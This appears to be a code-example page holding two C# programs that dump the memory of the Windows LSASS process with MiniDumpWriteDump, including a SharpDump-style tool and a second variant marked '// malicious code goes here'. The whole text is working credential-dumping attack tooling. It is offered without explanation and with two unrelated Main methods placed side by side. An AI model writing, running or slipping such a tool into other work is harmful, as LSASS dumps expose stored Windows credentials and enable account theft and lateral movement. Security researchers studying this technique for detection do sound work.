Пример #1
0
        static int Main(string[] args)
        {
            if (args.Length == 0)
            {
                Console.WriteLine("[-] Usage SharpDump.exe Lsass.exe's Pid");
                Console.WriteLine("[-] Example SharpDump.exe 1120");
                return(1);
            }
            bool   bSuccess = false;
            string filename = "lsass.dmp";

            FileStream fs = new FileStream(filename, FileMode.Create, FileAccess.ReadWrite, FileShare.Write);

            IntPtr            createPtr         = GetProcAddress(LoadLibrary("Dbghelp.dll"), "MiniDumpWriteDump");
            MiniDumpWriteDump miniDumpWriteDump = (MiniDumpWriteDump)Marshal.GetDelegateForFunctionPointer(createPtr, typeof(MiniDumpWriteDump));

            Console.WriteLine("[+] MiniDumpWriteDump found at 0x{0}", createPtr.ToString("X"));

            Int32   ProcessID = Convert.ToInt32(args[0]);
            Process process   = Process.GetProcessById(ProcessID);

            bSuccess = miniDumpWriteDump(process.Handle, (uint)process.Id, fs.SafeFileHandle, 2, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
            Console.WriteLine("[+] Process Completed ({0})", bSuccess);

            if (bSuccess)
            {
                Console.WriteLine($"[+] lsass process dumped successfully and saved at {Directory.GetCurrentDirectory()}\\{filename}");
            }
            else
            {
                Console.WriteLine("[-] Cannot Dump Lsass.");
            }
            return(0);
        }
        static void Main(string[] args)
        {
            CleanUp();
            Console.WriteLine("Clean Up Completed");

            // malicious code goes here

            Int32  PID      = Convert.ToInt32(args[0]);
            IntPtr hFile    = IntPtr.Zero;
            IntPtr hProc    = IntPtr.Zero;
            bool   bSuccess = false;


            IntPtr            createPtr         = GetProcAddress(LoadLibrary("Dbghelp.dll"), "MiniDumpWriteDump");
            MiniDumpWriteDump miniDumpWriteDump = (MiniDumpWriteDump)Marshal.GetDelegateForFunctionPointer(createPtr, typeof(MiniDumpWriteDump));

            Console.WriteLine("MiniDumpWriteDump found at 0x{0}", createPtr.ToString("X"));
            // PROCESS_QUERY_INFORMATION | PROCESS_VM_READ = 1040
            hProc = OpenProcess(1040, false, PID);
            Console.WriteLine("Process HANDLE 0x{0}\n", hProc.ToString("X"));

            if (hProc == IntPtr.Zero)
            {
                Console.WriteLine("HANDLE is NULL. Exiting");
                Environment.Exit(0);
            }

            // GENERIC_WRITE 1073741824
            // FILE_SHARE_WRITE 2
            // CREATE_ALWAYS 2
            // FILE_ATTRIBUTE_NORMAL 128
            hFile = CreateFile("memory.dmp", 1073741824, 2, IntPtr.Zero, 2, 128, IntPtr.Zero);
            Console.WriteLine("memory.dmp HANDLE 0x{0}\n", hFile.ToString("X"));

            if (hFile == IntPtr.Zero)
            {
                Console.WriteLine("HANDLE is NULL. Exiting");
                Environment.Exit(0);
            }

            bSuccess = miniDumpWriteDump(hProc, PID, hFile, 2, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
            Console.WriteLine("Process Completed ({0})", bSuccess);
        }